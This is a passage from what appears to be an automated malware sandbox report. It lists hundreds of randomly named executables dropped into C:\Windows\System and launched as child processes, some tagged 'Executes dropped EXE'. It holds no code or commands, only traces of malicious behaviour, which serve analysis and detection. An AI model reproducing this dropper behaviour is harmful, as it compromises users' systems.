  C:\Windows\System\OOodbMx.exe
  2⤵
  - Executes dropped EXE
  PID:2428
- C:\Windows\System\QxqjDNP.exe
  C:\Windows\System\QxqjDNP.exe
  2⤵
  - Executes dropped EXE
  PID:2380
- C:\Windows\System\mXvYsIh.exe
  C:\Windows\System\mXvYsIh.exe
  2⤵
  - Executes dropped EXE
  PID:1044
- C:\Windows\System\YjWrCgT.exe
  C:\Windows\System\YjWrCgT.exe
  2⤵
  - Executes dropped EXE
  PID:2404
- C:\Windows\System\jCPvYxS.exe
  C:\Windows\System\jCPvYxS.exe
  2⤵
  - Executes dropped EXE
  PID:772
- C:\Windows\System\CaFpSUc.exe
  C:\Windows\System\CaFpSUc.exe
  2⤵
  - Executes dropped EXE
  PID:2572
- C:\Windows\System\IMThBrL.exe
  C:\Windows\System\IMThBrL.exe
  2⤵
  - Executes dropped EXE
  PID:1168
- C:\Windows\System\tIzLOiO.exe
  C:\Windows\System\tIzLOiO.exe
  2⤵
  - Executes dropped EXE
  PID:768
- C:\Windows\System\LUOyNJy.exe
  C:\Windows\System\LUOyNJy.exe
  2⤵
  - Executes dropped EXE
  PID:2440
- C:\Windows\System\EJnPeCh.exe
  C:\Windows\System\EJnPeCh.exe
  2⤵
  - Executes dropped EXE
  PID:2068
- C:\Windows\System\cGRHVVB.exe
  C:\Windows\System\cGRHVVB.exe
  2⤵
  - Executes dropped EXE
  PID:1548
- C:\Windows\System\qjQAAGL.exe
  C:\Windows\System\qjQAAGL.exe
  2⤵
  - Executes dropped EXE
  PID:1796
- C:\Windows\System\lNgUgit.exe
  C:\Windows\System\lNgUgit.exe
  2⤵
  - Executes dropped EXE
  PID:2580
- C:\Windows\System\OWtaMOj.exe
  C:\Windows\System\OWtaMOj.exe
  2⤵
  - Executes dropped EXE
  PID:1992
- C:\Windows\System\JPJdGfH.exe
  C:\Windows\System\JPJdGfH.exe
  2⤵
  - Executes dropped EXE
  PID:1952
- C:\Windows\System\KcHQFLH.exe
  C:\Windows\System\KcHQFLH.exe
  2⤵
  - Executes dropped EXE
  PID:1616
- C:\Windows\System\GnSsBVX.exe
  C:\Windows\System\GnSsBVX.exe
  2⤵
  - Executes dropped EXE
  PID:2308
- C:\Windows\System\sAEelSB.exe
  C:\Windows\System\sAEelSB.exe
  2⤵
  - Executes dropped EXE
  PID:2196
- C:\Windows\System\zqFfQCt.exe
  C:\Windows\System\zqFfQCt.exe
  2⤵
  - Executes dropped EXE
  PID:2096
- C:\Windows\System\zHTCSAN.exe
  C:\Windows\System\zHTCSAN.exe
  2⤵
  - Executes dropped EXE
  PID:2544
- C:\Windows\System\niaMMym.exe
  C:\Windows\System\niaMMym.exe
  2⤵
  - Executes dropped EXE
  PID:2524
- C:\Windows\System\uXTYaye.exe
  C:\Windows\System\uXTYaye.exe
  2⤵
  - Executes dropped EXE
  PID:2092
- C:\Windows\System\CTkNIzM.exe
  C:\Windows\System\CTkNIzM.exe
  2⤵
  - Executes dropped EXE
  PID:2060
- C:\Windows\System\bcJdcjx.exe
  C:\Windows\System\bcJdcjx.exe
  2⤵
  - Executes dropped EXE
  PID:2448
- C:\Windows\System\gcXbfgv.exe
  C:\Windows\System\gcXbfgv.exe
  2⤵
  - Executes dropped EXE
  PID:1652
- C:\Windows\System\tcnwfNO.exe
  C:\Windows\System\tcnwfNO.exe
  2⤵
  - Executes dropped EXE
  PID:1600
- C:\Windows\System\yWVuBUf.exe
  C:\Windows\System\yWVuBUf.exe
  2⤵
  - Executes dropped EXE
  PID:2728
- C:\Windows\System\ACLSNKD.exe
  C:\Windows\System\ACLSNKD.exe
  2⤵
  - Executes dropped EXE
  PID:2828
- C:\Windows\System\edQendh.exe
  C:\Windows\System\edQendh.exe
  2⤵
  - Executes dropped EXE
  PID:2860
- C:\Windows\System\jkKBACj.exe
  C:\Windows\System\jkKBACj.exe
  2⤵
  - Executes dropped EXE
  PID:1644
- C:\Windows\System\eNampco.exe
  C:\Windows\System\eNampco.exe
  2⤵
  - Executes dropped EXE
  PID:2816
- C:\Windows\System\jBRcVNg.exe
  C:\Windows\System\jBRcVNg.exe
  2⤵
  - Executes dropped EXE
  PID:2744
- C:\Windows\System\ywEZzyb.exe
  C:\Windows\System\ywEZzyb.exe
  2⤵
  - Executes dropped EXE
  PID:2788
- C:\Windows\System\IgqQIYA.exe
  C:\Windows\System\IgqQIYA.exe
  2⤵
  - Executes dropped EXE
  PID:2636
- C:\Windows\System\CYkbvcR.exe
  C:\Windows\System\CYkbvcR.exe
  2⤵
  - Executes dropped EXE
  PID:2696
- C:\Windows\System\YGdsqTh.exe
  C:\Windows\System\YGdsqTh.exe
  2⤵
  - Executes dropped EXE
  PID:2848
- C:\Windows\System\aTEWCeN.exe
  C:\Windows\System\aTEWCeN.exe
  2⤵
  - Executes dropped EXE
  PID:2240
- C:\Windows\System\XPwhdsp.exe
  C:\Windows\System\XPwhdsp.exe
  2⤵
  - Executes dropped EXE
  PID:2948
- C:\Windows\System\LoUpfwV.exe
  C:\Windows\System\LoUpfwV.exe
  2⤵
  - Executes dropped EXE
  PID:2708
- C:\Windows\System\BfxkxCx.exe
  C:\Windows\System\BfxkxCx.exe
  2⤵
  PID:820
- C:\Windows\System\IBloEoj.exe
  C:\Windows\System\IBloEoj.exe
  2⤵
  PID:2148
- C:\Windows\System\iyVWHhG.exe
  C:\Windows\System\iyVWHhG.exe
  2⤵
  PID:2184
- C:\Windows\System\ZePEJAe.exe
  C:\Windows\System\ZePEJAe.exe
  2⤵
  PID:2444
- C:\Windows\System\gvkSXHc.exe
  C:\Windows\System\gvkSXHc.exe
  2⤵
  PID:2004
- C:\Windows\System\mrNFvUU.exe
  C:\Windows\System\mrNFvUU.exe
  2⤵
  PID:944
- C:\Windows\System\lufGShe.exe
  C:\Windows\System\lufGShe.exe
  2⤵
  PID:3052
- C:\Windows\System\iApwkUa.exe
  C:\Windows\System\iApwkUa.exe
  2⤵
  PID:1488
- C:\Windows\System\kgkCwUo.exe
  C:\Windows\System\kgkCwUo.exe
  2⤵
  PID:1620
- C:\Windows\System\BRWXzjo.exe
  C:\Windows\System\BRWXzjo.exe
  2⤵
  PID:2040
- C:\Windows\System\NZeoTOa.exe
  C:\Windows\System\NZeoTOa.exe
  2⤵
  PID:584
- C:\Windows\System\jmuKvkX.exe
  C:\Windows\System\jmuKvkX.exe
  2⤵
  PID:908
- C:\Windows\System\VPmfVgN.exe
  C:\Windows\System\VPmfVgN.exe
  2⤵
  PID:1852
- C:\Windows\System\CpXCWyn.exe
  C:\Windows\System\CpXCWyn.exe
  2⤵
  PID:3044
- C:\Windows\System\fYWZuZl.exe
  C:\Windows\System\fYWZuZl.exe
  2⤵
  PID:2160
- C:\Windows\System\DxJDsOz.exe
  C:\Windows\System\DxJDsOz.exe
  2⤵
  PID:2884
- C:\Windows\System\madqWSJ.exe
  C:\Windows\System\madqWSJ.exe
  2⤵
  PID:996
- C:\Windows\System\NQziORL.exe
  C:\Windows\System\NQziORL.exe
  2⤵
  PID:3040
- C:\Windows\System\DhmidWX.exe
  C:\Windows\System\DhmidWX.exe
  2⤵
  PID:1412
- C:\Windows\System\byqwydu.exe
  C:\Windows\System\byqwydu.exe
  2⤵
  PID:916
- C:\Windows\System\qcdRJJi.exe
  C:\Windows\System\qcdRJJi.exe
  2⤵
  PID:2120
- C:\Windows\System\OeDIaSl.exe
  C:\Windows\System\OeDIaSl.exe
  2⤵
  PID:2416
- C:\Windows\System\gXJqsPR.exe
  C:\Windows\System\gXJqsPR.exe
  2⤵
  PID:264
- C:\Windows\System\SRKPTSu.exe
  C:\Windows\System\SRKPTSu.exe
  2⤵
  PID:792
- C:\Windows\System\rbGMJfN.exe
  C:\Windows\System\rbGMJfN.exe
  2⤵
  PID:1492
- C:\Windows\System\wDpQpts.exe
  C:\Windows\System\wDpQpts.exe
  2⤵
  PID:2072
- C:\Windows\System\MKZFqAV.exe
  C:\Windows\System\MKZFqAV.exe
  2⤵
  PID:1596
- C:\Windows\System\tSUwiPJ.exe
  C:\Windows\System\tSUwiPJ.exe
  2⤵
  PID:2856
- C:\Windows\System\qAVycZs.exe
  C:\Windows\System\qAVycZs.exe
  2⤵
  PID:2500
- C:\Windows\System\HFXJicC.exe
  C:\Windows\System\HFXJicC.exe
  2⤵
  PID:2980
- C:\Windows\System\enBqEau.exe
  C:\Windows\System\enBqEau.exe
  2⤵
  PID:2832
- C:\Windows\System\UgQAoRV.exe
  C:\Windows\System\UgQAoRV.exe
  2⤵
  PID:2928
- C:\Windows\System\BBJyjwv.exe
  C:\Windows\System\BBJyjwv.exe
  2⤵
  PID:2952
- C:\Windows\System\tcDGQUb.exe
  C:\Windows\System\tcDGQUb.exe
  2⤵
  PID:1508
- C:\Windows\System\nxhicUr.exe
  C:\Windows\System\nxhicUr.exe
  2⤵
  PID:1052
- C:\Windows\System\WZvmpcr.exe
  C:\Windows\System\WZvmpcr.exe
  2⤵
  PID:276
- C:\Windows\System\YEiXSBg.exe
  C:\Windows\System\YEiXSBg.exe
  2⤵
  PID:2156
- C:\Windows\System\ulLsTUO.exe
  C:\Windows\System\ulLsTUO.exe
  2⤵
  PID:332
- C:\Windows\System\rwHzkre.exe
  C:\Windows\System\rwHzkre.exe
  2⤵
  PID:2396
- C:\Windows\System\cSVtwDx.exe
  C:\Windows\System\cSVtwDx.exe
  2⤵
  PID:1384
- C:\Windows\System\RFNjFkP.exe
  C:\Windows\System\RFNjFkP.exe
  2⤵
  PID:2352
- C:\Windows\System\IShUXDV.exe
  C:\Windows\System\IShUXDV.exe
  2⤵
  PID:836
- C:\Windows\System\ILOQolV.exe
  C:\Windows\System\ILOQolV.exe
  2⤵
  PID:1552
- C:\Windows\System\BUEVgDz.exe
  C:\Windows\System\BUEVgDz.exe
  2⤵
  PID:2588
- C:\Windows\System\cdUkwQk.exe
  C:\Windows\System\cdUkwQk.exe
  2⤵
  PID:1132
- C:\Windows\System\ilQzpjF.exe
  C:\Windows\System\ilQzpjF.exe
  2⤵
  PID:2104
- C:\Windows\System\gWAebUJ.exe
  C:\Windows\System\gWAebUJ.exe
  2⤵
  PID:928
- C:\Windows\System\nPOSRia.exe
  C:\Windows\System\nPOSRia.exe
  2⤵
  PID:1864
- C:\Windows\System\jWeyKMG.exe
  C:\Windows\System\jWeyKMG.exe
  2⤵
  PID:1464
- C:\Windows\System\rXgcbsY.exe
  C:\Windows\System\rXgcbsY.exe
  2⤵
  PID:2868
- C:\Windows\System\yJWBgdu.exe
  C:\Windows\System\yJWBgdu.exe
  2⤵
  PID:1932
- C:\Windows\System\iXzBcvC.exe
  C:\Windows\System\iXzBcvC.exe
  2⤵
  PID:2268
- C:\Windows\System\lcLpKRk.exe
  C:\Windows\System\lcLpKRk.exe
  2⤵
  PID:2136
- C:\Windows\System\vZKZuSC.exe
  C:\Windows\System\vZKZuSC.exe
  2⤵
  PID:2724
- C:\Windows\System\dacJZLb.exe
  C:\Windows\System\dacJZLb.exe
  2⤵
  PID:2732
- C:\Windows\System\BntvQpj.exe
  C:\Windows\System\BntvQpj.exe
  2⤵
  PID:2112
- C:\Windows\System\iETmXGA.exe
  C:\Windows\System\iETmXGA.exe
  2⤵
  PID:2596
- C:\Windows\System\lrUvDqC.exe
  C:\Windows\System\lrUvDqC.exe
  2⤵
  PID:3060
- C:\Windows\System\FHBMNNm.exe
  C:\Windows\System\FHBMNNm.exe
  2⤵
  PID:2536
- C:\Windows\System\NATcNto.exe
  C:\Windows\System\NATcNto.exe
  2⤵
  PID:2024
- C:\Windows\System\yyCWxwc.exe
  C:\Windows\System\yyCWxwc.exe
  2⤵
  PID:2760
- C:\Windows\System\amDkETo.exe
  C:\Windows\System\amDkETo.exe
  2⤵
  PID:1940
- C:\Windows\System\EuolmtI.exe
  C:\Windows\System\EuolmtI.exe
  2⤵
  PID:2316
- C:\Windows\System\YSNuQMz.exe
  C:\Windows\System\YSNuQMz.exe
  2⤵
  PID:2932
- C:\Windows\System\LTLWVzU.exe
  C:\Windows\System\LTLWVzU.exe
  2⤵
  PID:2660
- C:\Windows\System\SpMwXIu.exe
  C:\Windows\System\SpMwXIu.exe
  2⤵
  PID:2376
- C:\Windows\System\TWEZNDj.exe
  C:\Windows\System\TWEZNDj.exe
  2⤵
  PID:748
- C:\Windows\System\dzFiESu.exe
  C:\Windows\System\dzFiESu.exe
  2⤵
  PID:2336
- C:\Windows\System\mRFnfBu.exe
  C:\Windows\System\mRFnfBu.exe
  2⤵
  PID:1260
- C:\Windows\System\JdUZNyn.exe
  C:\Windows\System\JdUZNyn.exe
  2⤵
  PID:2300
- C:\Windows\System\SkgEvjY.exe
  C:\Windows\System\SkgEvjY.exe
  2⤵
  PID:2108
- C:\Windows\System\nLWsfQm.exe
  C:\Windows\System\nLWsfQm.exe
  2⤵
  PID:1308
- C:\Windows\System\mPBKhyP.exe
  C:\Windows\System\mPBKhyP.exe
  2⤵
  PID:1676
- C:\Windows\System\julNbjC.exe
  C:\Windows\System\julNbjC.exe
  2⤵
  PID:2332
- C:\Windows\System\tNrAAsz.exe
  C:\Windows\System\tNrAAsz.exe
  2⤵
  PID:1584
- C:\Windows\System\NgLMUTd.exe
  C:\Windows\System\NgLMUTd.exe
  2⤵
  PID:1960
- C:\Windows\System\NogYfUq.exe
  C:\Windows\System\NogYfUq.exe
  2⤵
  PID:2356
- C:\Windows\System\BodGwUq.exe
  C:\Windows\System\BodGwUq.exe
  2⤵
  PID:1108
- C:\Windows\System\aRjeJDy.exe
  C:\Windows\System\aRjeJDy.exe
  2⤵
  PID:2224
- C:\Windows\System\JXGmvki.exe
  C:\Windows\System\JXGmvki.exe
  2⤵
  PID:2560
- C:\Windows\System\ImePqaQ.exe
  C:\Windows\System\ImePqaQ.exe
  2⤵
  PID:2712
- C:\Windows\System\DGtjmCy.exe
  C:\Windows\System\DGtjmCy.exe
  2⤵
  PID:2456
- C:\Windows\System\rtrDGTu.exe
  C:\Windows\System\rtrDGTu.exe
  2⤵
  PID:292
- C:\Windows\System\NFhKDcj.exe
  C:\Windows\System\NFhKDcj.exe
  2⤵
  PID:2796
- C:\Windows\System\UTxeMPn.exe
  C:\Windows\System\UTxeMPn.exe
  2⤵
  PID:3064
- C:\Windows\System\FtOuIbz.exe
  C:\Windows\System\FtOuIbz.exe
  2⤵
  PID:2208
- C:\Windows\System\iKOvSCE.exe
  C:\Windows\System\iKOvSCE.exe
  2⤵
  PID:2740
- C:\Windows\System\cTfXqET.exe
  C:\Windows\System\cTfXqET.exe
  2⤵
  PID:2464
- C:\Windows\System\uamLTtd.exe
  C:\Windows\System\uamLTtd.exe
  2⤵
  PID:2140
- C:\Windows\System\QAhYjHD.exe
  C:\Windows\System\QAhYjHD.exe
  2⤵
  PID:1572
- C:\Windows\System\mavUhAH.exe
  C:\Windows\System\mavUhAH.exe
  2⤵
  PID:3068
- C:\Windows\System\UKGOtyT.exe
  C:\Windows\System\UKGOtyT.exe
  2⤵
  PID:1608
- C:\Windows\System\OcndLSV.exe
  C:\Windows\System\OcndLSV.exe
  2⤵
  PID:1712
- C:\Windows\System\HdhQlGl.exe
  C:\Windows\System\HdhQlGl.exe
  2⤵
  PID:2988
- C:\Windows\System\FNZOsWm.exe
  C:\Windows\System\FNZOsWm.exe
  2⤵
  PID:2896
- C:\Windows\System\qkgzfLX.exe
  C:\Windows\System\qkgzfLX.exe
  2⤵
  PID:3076
- C:\Windows\System\owTICUj.exe
  C:\Windows\System\owTICUj.exe
  2⤵
  PID:3092
- C:\Windows\System\RHfaqoM.exe
  C:\Windows\System\RHfaqoM.exe
  2⤵
  PID:3108
- C:\Windows\System\jIGQCaK.exe
  C:\Windows\System\jIGQCaK.exe
  2⤵
  PID:3124
- C:\Windows\System\rFNfLGL.exe
  C:\Windows\System\rFNfLGL.exe
  2⤵
  PID:3140
- C:\Windows\System\rfrejdS.exe
  C:\Windows\System\rfrejdS.exe
  2⤵
  PID:3156
- C:\Windows\System\DlIHHya.exe
  C:\Windows\System\DlIHHya.exe
  2⤵
  PID:3172
- C:\Windows\System\EWmShsc.exe
  C:\Windows\System\EWmShsc.exe
  2⤵
  PID:3188
- C:\Windows\System\kwcIvUI.exe
  C:\Windows\System\kwcIvUI.exe
  2⤵
  PID:3208
- C:\Windows\System\TQTnGcO.exe
  C:\Windows\System\TQTnGcO.exe
  2⤵
  PID:3224
- C:\Windows\System\nkYgRFn.exe
  C:\Windows\System\nkYgRFn.exe
  2⤵
  PID:3240
- C:\Windows\System\plSnbmr.exe
  C:\Windows\System\plSnbmr.exe
  2⤵
  PID:3256
- C:\Windows\System\PHwQfDw.exe
  C:\Windows\System\PHwQfDw.exe
  2⤵
  PID:3272
- C:\Windows\System\aujRRNb.exe
  C:\Windows\System\aujRRNb.exe
  2⤵
  PID:3288
- C:\Windows\System\kUoMvHO.exe
  C:\Windows\System\kUoMvHO.exe
  2⤵
  PID:3308
- C:\Windows\System\pKuahdI.exe
  C:\Windows\System\pKuahdI.exe
  2⤵
  PID:3324
- C:\Windows\System\KmOPCHe.exe
  C:\Windows\System\KmOPCHe.exe
  2⤵
  PID:3340
- C:\Windows\System\ChvGNfm.exe
  C:\Windows\System\ChvGNfm.exe
  2⤵
  PID:3356
- C:\Windows\System\ANrEbiG.exe
  C:\Windows\System\ANrEbiG.exe
  2⤵
  PID:3372
- C:\Windows\System\BhtrRLT.exe
  C:\Windows\System\BhtrRLT.exe
  2⤵
  PID:3388
- C:\Windows\System\xVXDkVk.exe
  C:\Windows\System\xVXDkVk.exe
  2⤵
  PID:3408
- C:\Windows\System\vJeAAhe.exe
  C:\Windows\System\vJeAAhe.exe
  2⤵
  PID:3424
- C:\Windows\System\omqvTjV.exe
  C:\Windows\System\omqvTjV.exe
  2⤵
  PID:3440
- C:\Windows\System\neIAAjR.exe
  C:\Windows\System\neIAAjR.exe
  2⤵
  PID:3456
- C:\Windows\System\SIgQYPW.exe
  C:\Windows\System\SIgQYPW.exe
  2⤵
  PID:3472
- C:\Windows\System\lIiRRKw.exe
  C:\Windows\System\lIiRRKw.exe
  2⤵
  PID:3488
- C:\Windows\System\eFUFafe.exe
  C:\Windows\System\eFUFafe.exe
  2⤵
  PID:3504
- C:\Windows\System\TAqtRsg.exe
  C:\Windows\System\TAqtRsg.exe
  2⤵
  PID:3520
- C:\Windows\System\vwXLxtd.exe
  C:\Windows\System\vwXLxtd.exe
  2⤵
  PID:3540
- C:\Windows\System\JiRhHrs.exe
  C:\Windows\System\JiRhHrs.exe
  2⤵
  PID:3556
- C:\Windows\System\iXzNkGz.exe
  C:\Windows\System\iXzNkGz.exe
  2⤵
  PID:3572
- C:\Windows\System\ybgkVFq.exe
  C:\Windows\System\ybgkVFq.exe
  2⤵
  PID:3588
- C:\Windows\System\uKAkppd.exe
  C:\Windows\System\uKAkppd.exe
  2⤵
  PID:3604
- C:\Windows\System\EQNDqHt.exe
  C:\Windows\System\EQNDqHt.exe
  2⤵
  PID:3788
- C:\Windows\System\AMBDBsy.exe
  C:\Windows\System\AMBDBsy.exe
  2⤵
  PID:3804
- C:\Windows\System\nQCEbCM.exe
  C:\Windows\System\nQCEbCM.exe
  2⤵
  PID:3820
- C:\Windows\System\kNfyNTP.exe
  C:\Windows\System\kNfyNTP.exe
  2⤵
  PID:3836
- C:\Windows\System\KOxwGQJ.exe
  C:\Windows\System\KOxwGQJ.exe
  2⤵
  PID:3852
- C:\Windows\System\AghXdsA.exe
  C:\Windows\System\AghXdsA.exe
  2⤵
  PID:3868
- C:\Windows\System\HvmENFm.exe
  C:\Windows\System\HvmENFm.exe
  2⤵
  PID:3884
- C:\Windows\System\nZCPZyE.exe
  C:\Windows\System\nZCPZyE.exe
  2⤵
  PID:3900
- C:\Windows\System\ciarzIt.exe
  C:\Windows\System\ciarzIt.exe
  2⤵
  PID:3916
- C:\Windows\System\XKXfrQN.exe
  C:\Windows\System\XKXfrQN.exe
  2⤵
  PID:3932
- C:\Windows\System\PFrJdfx.exe
  C:\Windows\System\PFrJdfx.exe
  2⤵
  PID:3952
- C:\Windows\System\ugJZMso.exe
  C:\Windows\System\ugJZMso.exe
  2⤵
  PID:3968
- C:\Windows\System\qNhuQaA.exe
  C:\Windows\System\qNhuQaA.exe
  2⤵
  PID:4016
- C:\Windows\System\MgCknmG.exe
  C:\Windows\System\MgCknmG.exe
  2⤵
  PID:4032
- C:\Windows\System\RMdNLEm.exe
  C:\Windows\System\RMdNLEm.exe
  2⤵
  PID:4048
- C:\Windows\System\YriKCXm.exe
  C:\Windows\System\YriKCXm.exe
  2⤵
  PID:4064
- C:\Windows\System\lYkFAVk.exe
  C:\Windows\System\lYkFAVk.exe
  2⤵
  PID:4080
- C:\Windows\System\WMuUNYi.exe
  C:\Windows\System\WMuUNYi.exe
  2⤵
  PID:1872
- C:\Windows\System\tdTdyty.exe
  C:\Windows\System\tdTdyty.exe
  2⤵
  PID:1408
- C:\Windows\System\aiBbzKi.exe
  C:\Windows\System\aiBbzKi.exe
  2⤵
  PID:2564
- C:\Windows\System\rmUHAqg.exe
  C:\Windows\System\rmUHAqg.exe
  2⤵
  PID:2232
- C:\Windows\System\YoeLgbc.exe
  C:\Windows\System\YoeLgbc.exe
  2⤵
  PID:3120
- C:\Windows\System\Ligbmnq.exe
  C:\Windows\System\Ligbmnq.exe
  2⤵
  PID:3184
- C:\Windows\System\XrTwtGB.exe
  C:\Windows\System\XrTwtGB.exe
  2⤵
  PID:3280
- C:\Windows\System\NjkYXXU.exe
  C:\Windows\System\NjkYXXU.exe
  2⤵
  PID:3204
- C:\Windows\System\VbEsZqf.exe
  C:\Windows\System\VbEsZqf.exe
  2⤵
  PID:3384
- C:\Windows\System\hJgLDdi.exe
  C:\Windows\System\hJgLDdi.exe
  2⤵
  PID:3452
- C:\Windows\System\uHwORsb.exe
  C:\Windows\System\uHwORsb.exe
  2⤵
  PID:3516
- C:\Windows\System\wQkjEpb.exe
  C:\Windows\System\wQkjEpb.exe
  2⤵
  PID:3584
- C:\Windows\System\OifGNXS.exe
  C:\Windows\System\OifGNXS.exe
  2⤵
  PID:3628
- C:\Windows\System\NsqcpqV.exe
  C:\Windows\System\NsqcpqV.exe
  2⤵
  PID:3644
- C:\Windows\System\ZWvLSCm.exe
  C:\Windows\System\ZWvLSCm.exe
  2⤵
  PID:3660
- C:\Windows\System\bIGTqoO.exe
  C:\Windows\System\bIGTqoO.exe
  2⤵
  PID:3676
- C:\Windows\System\zWKRkFe.exe
  C:\Windows\System\zWKRkFe.exe
  2⤵
  PID:3692
- C:\Windows\System\tPxncWZ.exe
  C:\Windows\System\tPxncWZ.exe
  2⤵
  PID:864
- C:\Windows\System\MKwSDGa.exe
  C:\Windows\System\MKwSDGa.exe
  2⤵
  PID:3700
- C:\Windows\System\LFmJEet.exe
  C:\Windows\System\LFmJEet.exe
  2⤵
  PID:1360
- C:\Windows\System\srocBHp.exe
  C:\Windows\System\srocBHp.exe
  2⤵
  PID:2468
- C:\Windows\System\gWWTIDU.exe
  C:\Windows\System\gWWTIDU.exe
  2⤵
  PID:3136
- C:\Windows\System\qBRogCQ.exe
  C:\Windows\System\qBRogCQ.exe
  2⤵
  PID:3232
- C:\Windows\System\wcLZlPX.exe
  C:\Windows\System\wcLZlPX.exe
  2⤵
  PID:3296
- C:\Windows\System\XKFMqgO.exe
  C:\Windows\System\XKFMqgO.exe
  2⤵
  PID:3336
- C:\Windows\System\fmWOJXh.exe
  C:\Windows\System\fmWOJXh.exe
  2⤵
  PID:3740
- C:\Windows\System\YLQizfz.exe
  C:\Windows\System\YLQizfz.exe
  2⤵
  PID:3760
- C:\Windows\System\aeuLGDP.exe
  C:\Windows\System\aeuLGDP.exe
  2⤵
  PID:3776
- C:\Windows\System\rokbPrC.exe
  C:\Windows\System\rokbPrC.exe
  2⤵
  PID:3880
- C:\Windows\System\OQkQVKV.exe
  C:\Windows\System\OQkQVKV.exe
  2⤵
  PID:3948
- C:\Windows\System\PgapLVy.exe
  C:\Windows\System\PgapLVy.exe
  2⤵
  PID:3988
- C:\Windows\System\hddIROE.exe
  C:\Windows\System\hddIROE.exe
  2⤵
  PID:4004
- C:\Windows\System\GWWVKsk.exe
  C:\Windows\System\GWWVKsk.exe
  2⤵
  PID:4044
- C:\Windows\System\OtKtyKN.exe
  C:\Windows\System\OtKtyKN.exe
  2⤵
  PID:1312
- C:\Windows\System\AILDqft.exe
  C:\Windows\System\AILDqft.exe
  2⤵
  PID:3320
- C:\Windows\System\DGQnJjw.exe
  C:\Windows\System\DGQnJjw.exe
  2⤵
  PID:3636
- C:\Windows\System\NXiaWfr.exe
  C:\Windows\System\NXiaWfr.exe
  2⤵
  PID:3220
- C:\Windows\System\oPAVMiG.exe
  C:\Windows\System\oPAVMiG.exe
  2⤵
  PID:3104
- C:\Windows\System\kAMxSee.exe
  C:\Windows\System\kAMxSee.exe
  2⤵
  PID:3400
- C:\Windows\System\ftGTShJ.exe
  C:\Windows\System\ftGTShJ.exe
  2⤵
  PID:3432
- C:\Windows\System\AihDKoS.exe
  C:\Windows\System\AihDKoS.exe
  2⤵
  PID:3496
- C:\Windows\System\HZWahcv.exe
  C:\Windows\System\HZWahcv.exe
  2⤵
  PID:3860
- C:\Windows\System\BusgWlJ.exe
  C:\Windows\System\BusgWlJ.exe
  2⤵
  PID:3528
- C:\Windows\System\BtHUYqM.exe
  C:\Windows\System\BtHUYqM.exe
  2⤵
  PID:3580
- C:\Windows\System\pgfrRhv.exe
  C:\Windows\System\pgfrRhv.exe
  2⤵
  PID:2680
- C:\Windows\System\qZCBpdD.exe
  C:\Windows\System\qZCBpdD.exe
  2⤵
  PID:3708
- C:\Windows\System\KWadVXB.exe
  C:\Windows\System\KWadVXB.exe
  2⤵
  PID:3784
- C:\Windows\System\pXFddPB.exe
  C:\Windows\System\pXFddPB.exe
  2⤵
  PID:3728
- C:\Windows\System\dORbLuK.exe
  C:\Windows\System\dORbLuK.exe
  2⤵
  PID:3928
- C:\Windows\System\raWLtiu.exe
  C:\Windows\System\raWLtiu.exe
  2⤵
  PID:4024
- C:\Windows\System\zxKQfzw.exe
  C:\Windows\System\zxKQfzw.exe
  2⤵
  PID:4092
- C:\Windows\System\XystJfs.exe
  C:\Windows\System\XystJfs.exe
  2⤵
  PID:3088
- C:\Windows\System\jkuzRYc.exe
  C:\Windows\System\jkuzRYc.exe
  2⤵
  PID:3380
- C:\Windows\System\vDYyBiB.exe
  C:\Windows\System\vDYyBiB.exe
  2⤵
  PID:3624
- C:\Windows\System\QiBvyAu.exe
  C:\Windows\System\QiBvyAu.exe
  2⤵
  PID:2228
- C:\Windows\System\luDKHhd.exe
  C:\Windows\System\luDKHhd.exe
  2⤵
  PID:592
- C:\Windows\System\QFDBqKc.exe
  C:\Windows\System\QFDBqKc.exe
  2⤵
  PID:3304
- C:\Windows\System\STiyZHr.exe
  C:\Windows\System\STiyZHr.exe
  2⤵
  PID:3768
- C:\Windows\System\PZccwdz.exe
  C:\Windows\System\PZccwdz.exe
  2⤵
  PID:3800
- C:\Windows\System\ZoJUUtS.exe
  C:\Windows\System\ZoJUUtS.exe
  2⤵
  PID:3944
- C:\Windows\System\iplxEWC.exe
  C:\Windows\System\iplxEWC.exe
  2⤵
  PID:940
- C:\Windows\System\MkHfNIc.exe
  C:\Windows\System\MkHfNIc.exe
  2⤵
  PID:4112
- C:\Windows\System\tDxRAsK.exe
  C:\Windows\System\tDxRAsK.exe
  2⤵
  PID:4128
- C:\Windows\System\BLfbAXw.exe
  C:\Windows\System\BLfbAXw.exe
  2⤵
  PID:4144
- C:\Windows\System\foGVEbH.exe
  C:\Windows\System\foGVEbH.exe
  2⤵
  PID:4160
- C:\Windows\System\gslvrtK.exe
  C:\Windows\System\gslvrtK.exe
  2⤵
  PID:4176
- C:\Windows\System\mYVSHHw.exe
  C:\Windows\System\mYVSHHw.exe
  2⤵
  PID:4192
- C:\Windows\System\wclACub.exe
  C:\Windows\System\wclACub.exe
  2⤵
  PID:4208
- C:\Windows\System\eEmKlav.exe
  C:\Windows\System\eEmKlav.exe
  2⤵
  PID:4228
- C:\Windows\System\MQSBLAC.exe
  C:\Windows\System\MQSBLAC.exe
  2⤵
  PID:4244
- C:\Windows\System\QvhVsOL.exe
  C:\Windows\System\QvhVsOL.exe
  2⤵
  PID:4260
- C:\Windows\System\HMFzUXV.exe
  C:\Windows\System\HMFzUXV.exe
  2⤵
  PID:4276
- C:\Windows\System\IadoeuX.exe
  C:\Windows\System\IadoeuX.exe
  2⤵
  PID:4292
- C:\Windows\System\dgjaBcl.exe
  C:\Windows\System\dgjaBcl.exe
  2⤵
  PID:4312
- C:\Windows\System\UlHZfgm.exe
  C:\Windows\System\UlHZfgm.exe
  2⤵
  PID:4328
- C:\Windows\System\oeTWGhe.exe
  C:\Windows\System\oeTWGhe.exe
  2⤵
  PID:4344
- C:\Windows\System\axdFQoe.exe
  C:\Windows\System\axdFQoe.exe
  2⤵
  PID:4364
- C:\Windows\System\nsDvldz.exe
  C:\Windows\System\nsDvldz.exe
  2⤵
  PID:4380
- C:\Windows\System\VHszoPK.exe
  C:\Windows\System\VHszoPK.exe
  2⤵
  PID:4396
- C:\Windows\System\BVuJUPD.exe
  C:\Windows\System\BVuJUPD.exe
  2⤵
  PID:4412
- C:\Windows\System\WzzlaPl.exe
  C:\Windows\System\WzzlaPl.exe
  2⤵
  PID:4428
- C:\Windows\System\FAbmdGy.exe
  C:\Windows\System\FAbmdGy.exe
  2⤵
  PID:4444
- C:\Windows\System\AQvswOI.exe
  C:\Windows\System\AQvswOI.exe
  2⤵
  PID:4460
- C:\Windows\System\GvrtdAN.exe
  C:\Windows\System\GvrtdAN.exe
  2⤵
  PID:4476
- C:\Windows\System\sROohXy.exe
